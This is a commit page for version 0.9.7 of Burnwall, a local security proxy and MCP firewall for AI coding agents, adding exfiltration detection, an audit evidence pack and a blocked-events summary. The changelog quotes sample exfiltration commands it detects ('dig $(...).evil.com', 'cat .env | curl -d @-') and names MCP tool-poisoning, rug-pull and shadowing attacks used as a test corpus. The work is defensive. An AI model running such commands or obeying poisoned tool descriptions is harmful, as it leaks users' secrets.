Skip to content

Commit 1dfd2c1

Browse files
committed
v0.9.7: exfil detection, security digest, MCP PoC corpus, evidence pack
Security depth - Data-exfiltration technique detection (opt-in under security.dlp): DNS exfil, secret-file piped to network, command-substituted uploads. Names the technique, never the data; conservative/high-signal. - `burnwall security --summary`: a "what Burnwall caught" receipt grouped by type, so passive protection registers as ongoing value. - MCP firewall validated against the published attacks (Invariant tool- poisoning/SSH exfil, MCPoison rug-pull, <IMPORTANT> shadowing) as a test corpus. Governance - `burnwall audit pack`: one-command evidence bundle (signed receipts + CycloneDX 1.6 AIBOM + SARIF 2.1.0 + a MANIFEST mapping artifacts to ISO 42001 / EU AI Act / FINRA). Docs - README: Trust & privacy, defense-in-depth framing, and the built-in mcp-watch firewall in the MCP scope note.
1 parent f52eeac commit 1dfd2c1

14 files changed

Lines changed: 572 additions & 10 deletions

File tree

CHANGELOG.md

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,39 @@
22

33
All notable changes to Burnwall.
44

5+
## [0.9.7] — 2026-06-07
6+
7+
### Added
8+
9+
- **Data-exfiltration technique detection** (opt-in, under `security.dlp`) — the
10+
scanner now flags the exfiltration *method* in a tool-call argument, not just
11+
secrets in the payload: DNS exfiltration (`dig $(...).evil.com`, encoded
12+
subdomains), a secret file piped to the network (`cat .env | curl -d @-`), and
13+
command-substituted uploads. Conservative/high-signal (a network tool alone is
14+
fine) and names only the technique, never the data.
15+
- **`burnwall security --summary`** — a "what Burnwall caught for you" receipt:
16+
blocks grouped by type over the window (pairs with `--days 7`), so passive
17+
protection registers as ongoing value instead of going unseen.
18+
- **`burnwall audit pack`** — one-command compliance evidence pack: bundles the
19+
signed hash-chained receipts, the CycloneDX 1.6 AIBOM, and the SARIF 2.1.0
20+
security findings into a directory with a `MANIFEST.md` that maps each artifact
21+
to the controls auditors ask for (ISO/IEC 42001, EU AI Act Art. 12/26, FINRA).
22+
The artifacts already existed; this is one command + the framework mapping you
23+
can hand a security team.
24+
- **MCP firewall is validated against the published attacks** — a test corpus
25+
models the real PoCs (Invariant tool-poisoning / SSH-key exfiltration, the
26+
MCPoison rug-pull that swaps a tool's behavior after approval, `<IMPORTANT>`
27+
shadowing) so coverage is provable and stays covered.
28+
29+
### Changed
30+
31+
- README: a **Trust & privacy** section (local, zero-telemetry, read-only on
32+
responses, signed single-binary releases, auditable "no network except
33+
forwarding"), a **defense-in-depth** framing for security (rules run before
34+
anything leaves your machine; complements — doesn't replace — native
35+
controls), and the MCP scope note now points at the built-in `mcp-watch`
36+
firewall (tool-poisoning + rug-pull detection).
37+
538
## [0.9.6] — 2026-06-07
639

740
### Added

Cargo.lock

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

Cargo.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[package]
22
name = "burnwall"
3-
version = "0.9.6"
3+
version = "0.9.7"
44
edition = "2024"
55
rust-version = "1.87"
66
description = "Local proxy for AI coding tools (Claude Code, Codex CLI, Aider): cache-aware cost tracking, path/command security checks, daily budget enforcement. Zero telemetry."

README.md

Lines changed: 23 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -123,11 +123,21 @@ Every API call flows through Burnwall:
123123

124124
Responses are **never modified** — Burnwall reads them, logs the cost, and passes them through unchanged.
125125

126+
### Defense-in-depth, not a silver bullet
127+
128+
Security rules are evaluated **before the request leaves your machine** — a
129+
blocked request never reaches the provider. That's the point: it's another layer
130+
that holds even when a tool's own approval prompt, allowlist, or sandbox is
131+
bypassed (and those have been, repeatedly). Burnwall doesn't claim you're under
132+
attack; it claims that *if* a prompt-injected agent tries to read `~/.ssh` or
133+
pipe a secret to the network, the rule fires locally first. Pair it with your
134+
tool's native controls — it's designed to complement them, not replace them.
135+
126136
## Scope: What Burnwall Guards
127137

128138
Burnwall sits on the **LLM API path** — the HTTP traffic between your AI tool and Anthropic/OpenAI. Security scanning, budget enforcement, and cost tracking all operate on that traffic.
129139

130-
It does **not** intercept **MCP** (Model Context Protocol) traffic. When your agent calls an MCP server's tools, that traffic flows through your AI tool directly — Burnwall never sees it, so it can't scan or block it. MCP-layer protection is a separate concern; dedicated MCP-firewall tools exist and run cleanly alongside Burnwall.
140+
The LLM-path proxy does **not** automatically see **MCP** (Model Context Protocol) traffic — that flows from your AI tool to MCP servers directly. For that layer, Burnwall ships a dedicated **MCP firewall** you put in front of your MCP servers (`burnwall mcp-watch`): it detects tool-poisoning and "rug-pull" (silent post-approval redefinition) attacks and enforces an approval workflow. Run it alongside the main proxy for end-to-end coverage.
131141

132142
## Supported Tools
133143

@@ -182,13 +192,22 @@ $ burnwall status
182192
Cache savings today: $47.82
183193
```
184194

185-
## Privacy
195+
## Trust & privacy
196+
197+
Burnwall sits in your API traffic path, so it earns that position by being
198+
verifiable, not by asking for trust:
186199

187-
- **100% local.** No data ever leaves your machine (except API forwarding).
200+
- **100% local.** No data ever leaves your machine except the API forwarding you
201+
asked for. Works offline (apart from the forwarding itself).
188202
- **Zero telemetry.** No analytics, no phone-home, no tracking. Ever.
189203
- **No prompt logging.** Only metadata is stored (model, tokens, cost, timestamp).
190204
- **No API key storage.** Keys pass through in headers and are never written to disk.
191-
- **Open source.** Audit the code yourself.
205+
- **Read-only on responses.** Burnwall inspects responses to compute cost and
206+
**never modifies them** — your tool gets the provider's bytes unchanged.
207+
- **Single binary, signed releases.** Install from a checksummed, signed release
208+
(or `cargo install` from source). No background services you didn't ask for.
209+
- **Open source.** The "no network calls except forwarding" claim is auditable —
210+
read the proxy code yourself.
192211

193212
## Terms of service
194213

editor/vscode/package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
"name": "burnwall",
33
"displayName": "Burnwall",
44
"description": "Cost + security for your AI coding agents, at a glance — reads your local Burnwall CLI.",
5-
"version": "0.9.6",
5+
"version": "0.9.7",
66
"publisher": "intbot",
77
"license": "FSL-1.1-MIT",
88
"repository": { "type": "git", "url": "https://github.com/intbot/burnwall" },

packaging/mcp/server.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
"url": "https://github.com/intbot/burnwall",
77
"source": "github"
88
},
9-
"version": "0.9.6",
9+
"version": "0.9.7",
1010
"packages": [
1111
{
1212
"registryType": "oci",

src/cli/audit.rs

Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,11 @@
55
//! - `export` — dump the receipts (json | csv).
66
//! - `aibom` — CycloneDX AI Bill of Materials for the window.
77
//! - `sarif` — security blocks as SARIF 2.1.0 (GitHub code scanning).
8+
//! - `pack` — one-command compliance evidence pack (receipts + AIBOM + SARIF
9+
//! + a framework-mapping manifest) you can hand to a security/audit team.
810
911
use std::io::Write;
12+
use std::path::PathBuf;
1013

1114
use anyhow::Context;
1215
use clap::{Args, Subcommand};
@@ -33,6 +36,19 @@ pub enum AuditCommand {
3336
Aibom(WindowArgs),
3437
/// Export security blocks as SARIF 2.1.0 (for GitHub code scanning).
3538
Sarif(WindowArgs),
39+
/// Bundle a compliance evidence pack: signed receipts + CycloneDX AIBOM +
40+
/// SARIF + a framework-mapping manifest, into one directory.
41+
Pack(PackArgs),
42+
}
43+
44+
#[derive(Args, Debug)]
45+
pub struct PackArgs {
46+
/// How many days back to include (default 7).
47+
#[arg(long, default_value_t = 7)]
48+
pub days: i64,
49+
/// Output directory (default: ./burnwall-evidence-<date>).
50+
#[arg(long)]
51+
pub out: Option<PathBuf>,
3652
}
3753

3854
#[derive(Args, Debug)]
@@ -109,10 +125,117 @@ pub fn run_cmd(args: AuditArgs) -> anyhow::Result<()> {
109125
let log = sarif::build(&events);
110126
writeln!(out, "{}", serde_json::to_string_pretty(&log).unwrap())?;
111127
}
128+
AuditCommand::Pack(a) => {
129+
write_evidence_pack(&mut out, &storage, a.days, a.out)?;
130+
}
112131
}
113132
Ok(())
114133
}
115134

135+
/// Build a self-contained compliance evidence pack: the existing artifacts
136+
/// (signed receipts, CycloneDX 1.6 AIBOM, SARIF 2.1.0) plus a manifest that maps
137+
/// each to the controls auditors ask for (ISO 42001, EU AI Act, FINRA). The
138+
/// artifacts already exist — the value here is one command + the mapping.
139+
fn write_evidence_pack(
140+
out: &mut impl Write,
141+
storage: &Storage,
142+
days: i64,
143+
out_dir: Option<PathBuf>,
144+
) -> anyhow::Result<()> {
145+
let now = chrono::Local::now();
146+
let date = now.format("%Y-%m-%d").to_string();
147+
let dir = out_dir.unwrap_or_else(|| PathBuf::from(format!("burnwall-evidence-{date}")));
148+
std::fs::create_dir_all(&dir).with_context(|| format!("creating {}", dir.display()))?;
149+
150+
// Seal first so the pack reflects the latest actions (best-effort — a
151+
// missing key or zero new actions must not fail the export).
152+
let chain = AuditChain::open_default().ok();
153+
if let Some(c) = &chain {
154+
let _ = c.seal(storage);
155+
}
156+
let public_key = chain.as_ref().map(|c| c.public_key_hex());
157+
158+
// 1) Signed receipts.
159+
let receipts = storage.all_receipts()?;
160+
let mut buf = Vec::new();
161+
write_receipts_json(&mut buf, &receipts, public_key.as_deref())?;
162+
std::fs::write(dir.join("receipts.json"), &buf).context("writing receipts.json")?;
163+
164+
// 2) CycloneDX 1.6 AIBOM.
165+
let digest = Digest::build(storage, days)?;
166+
let serial = format!("urn:uuid:{}", uuid::Uuid::new_v4());
167+
let bom = aibom::build(&digest, &now.to_rfc3339(), &serial);
168+
std::fs::write(
169+
dir.join("aibom.cdx.json"),
170+
serde_json::to_string_pretty(&bom).unwrap(),
171+
)
172+
.context("writing aibom.cdx.json")?;
173+
174+
// 3) SARIF 2.1.0 security findings.
175+
let events = storage.security_events_since_days(days)?;
176+
let sarif_log = sarif::build(&events);
177+
std::fs::write(
178+
dir.join("security.sarif.json"),
179+
serde_json::to_string_pretty(&sarif_log).unwrap(),
180+
)
181+
.context("writing security.sarif.json")?;
182+
183+
// 4) Framework-mapping manifest.
184+
let manifest = evidence_manifest(
185+
&date,
186+
days,
187+
receipts.len(),
188+
events.len(),
189+
digest.models.len(),
190+
public_key.as_deref(),
191+
);
192+
std::fs::write(dir.join("MANIFEST.md"), manifest).context("writing MANIFEST.md")?;
193+
194+
writeln!(out, "🧾 Evidence pack written to {}", dir.display())?;
195+
writeln!(out, " receipts.json — {} signed hash-chained receipt(s)", receipts.len())?;
196+
writeln!(out, " aibom.cdx.json — CycloneDX 1.6 AI Bill of Materials")?;
197+
writeln!(out, " security.sarif.json — SARIF 2.1.0 ({} security event(s))", events.len())?;
198+
writeln!(out, " MANIFEST.md — control mapping (ISO 42001 / EU AI Act / FINRA)")?;
199+
if public_key.is_none() {
200+
writeln!(out, " ⚠ no audit key found — receipts are unsigned; run `burnwall audit seal` first")?;
201+
}
202+
Ok(())
203+
}
204+
205+
fn evidence_manifest(
206+
date: &str,
207+
days: i64,
208+
receipts: usize,
209+
events: usize,
210+
models: usize,
211+
public_key: Option<&str>,
212+
) -> String {
213+
let key = public_key.unwrap_or("(no audit key — receipts unsigned)");
214+
format!(
215+
"# Burnwall compliance evidence pack\n\
216+
\n\
217+
- Generated: {date}\n\
218+
- Window: last {days} day(s)\n\
219+
- Receipts: {receipts} · Security events: {events} · Models: {models}\n\
220+
- Audit public key (Ed25519): `{key}`\n\
221+
\n\
222+
All artifacts are metadata only — no prompt content, no API keys.\n\
223+
Verify the receipt chain at any time with `burnwall audit verify`.\n\
224+
\n\
225+
## Artifacts → controls\n\
226+
\n\
227+
| File | What it is | Maps to |\n\
228+
|------|-----------|---------|\n\
229+
| `receipts.json` | Ed25519 hash-chained, tamper-evident log of every forwarded/blocked AI action (model, timestamp, action, cost). | EU AI Act Art. 12 (record-keeping) & Art. 26 (deployer logs); FINRA prompt/output-log & model-version expectations; ISO/IEC 42001 operational logging. |\n\
230+
| `aibom.cdx.json` | CycloneDX 1.6 AI Bill of Materials — models used (as ML-model components), MCP tools/services, and window totals. | ISO/IEC 42001 AI-system inventory & model lineage; AIBOM / SBOM-for-AI procurement requirements; EU AI Act technical documentation. |\n\
231+
| `security.sarif.json` | SARIF 2.1.0 record of blocked attempts (denied paths/commands, secrets, exfiltration). | Evidence of active guardrails / data-egress control; ingestible by GitHub code scanning and SIEMs. |\n\
232+
\n\
233+
> Mapping is provided to help a reviewer locate evidence; it is not a\n\
234+
> certification or legal attestation. Confirm scope against your own\n\
235+
> obligations.\n"
236+
)
237+
}
238+
116239
fn plural(n: u64) -> &'static str {
117240
if n == 1 {
118241
""

src/cli/security.rs

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -23,6 +23,11 @@ pub struct SecurityArgs {
2323
/// Emit JSON instead of the table view.
2424
#[arg(long)]
2525
pub json: bool,
26+
/// Print a short "what Burnwall caught" summary (counts by type) instead of
27+
/// the per-event table — the visible receipt that passive protection is
28+
/// working. Pairs well with `--days 7`.
29+
#[arg(long)]
30+
pub summary: bool,
2631
}
2732

2833
pub fn run_cmd(args: SecurityArgs) -> anyhow::Result<()> {
@@ -34,6 +39,10 @@ pub fn run_cmd(args: SecurityArgs) -> anyhow::Result<()> {
3439
}
3540

3641
let mut out = std::io::stdout().lock();
42+
43+
if args.summary && !args.json {
44+
return print_summary(&mut out, &events, args.days);
45+
}
3746
if args.json {
3847
let value = serde_json::json!({
3948
"days": args.days,
@@ -106,3 +115,70 @@ fn truncate(s: &str, n: usize) -> String {
106115
out
107116
}
108117
}
118+
119+
/// Friendly label for an `event_type` value.
120+
fn friendly_type(event_type: &str) -> &str {
121+
match event_type {
122+
"path_blocked" => "denied-path access",
123+
"command_blocked" => "dangerous command",
124+
"mount_blocked" => "network-mount access",
125+
"secret_detected" => "secret/credential in payload",
126+
"dlp_blocked" => "PII/data exfiltration",
127+
"exfil_blocked" => "data-exfiltration technique",
128+
other => other,
129+
}
130+
}
131+
132+
/// The "what Burnwall caught for you" receipt — a grouped count over the window,
133+
/// so passive protection registers as ongoing value rather than going unseen.
134+
fn print_summary<W: Write>(
135+
out: &mut W,
136+
events: &[crate::storage::SecurityEvent],
137+
days: i64,
138+
) -> anyhow::Result<()> {
139+
let window = if days == 1 {
140+
"today".to_string()
141+
} else {
142+
format!("the last {days} days")
143+
};
144+
if events.is_empty() {
145+
writeln!(out, "🛡️ All clear — Burnwall blocked nothing {window}.")?;
146+
writeln!(out, " (No news is good news; protection is running silently.)")?;
147+
return Ok(());
148+
}
149+
150+
// Count by event type, preserving a stable, severity-ish display order.
151+
use std::collections::HashMap;
152+
let mut counts: HashMap<&str, usize> = HashMap::new();
153+
for e in events {
154+
*counts.entry(e.event_type.as_str()).or_default() += 1;
155+
}
156+
let order = [
157+
"exfil_blocked",
158+
"secret_detected",
159+
"dlp_blocked",
160+
"command_blocked",
161+
"path_blocked",
162+
"mount_blocked",
163+
];
164+
165+
writeln!(
166+
out,
167+
"🛡️ Burnwall blocked {} attempt{} {}:",
168+
events.len(),
169+
if events.len() == 1 { "" } else { "s" },
170+
window
171+
)?;
172+
for key in order {
173+
if let Some(n) = counts.remove(key) {
174+
writeln!(out, " • {n:>3} {}", friendly_type(key))?;
175+
}
176+
}
177+
// Any event types not in the canonical order (e.g. future kinds).
178+
let mut rest: Vec<(&str, usize)> = counts.into_iter().collect();
179+
rest.sort_by_key(|(_, n)| std::cmp::Reverse(*n));
180+
for (key, n) in rest {
181+
writeln!(out, " • {:>3} {}", n, friendly_type(key))?;
182+
}
183+
Ok(())
184+
}

0 commit comments

Comments
 (0)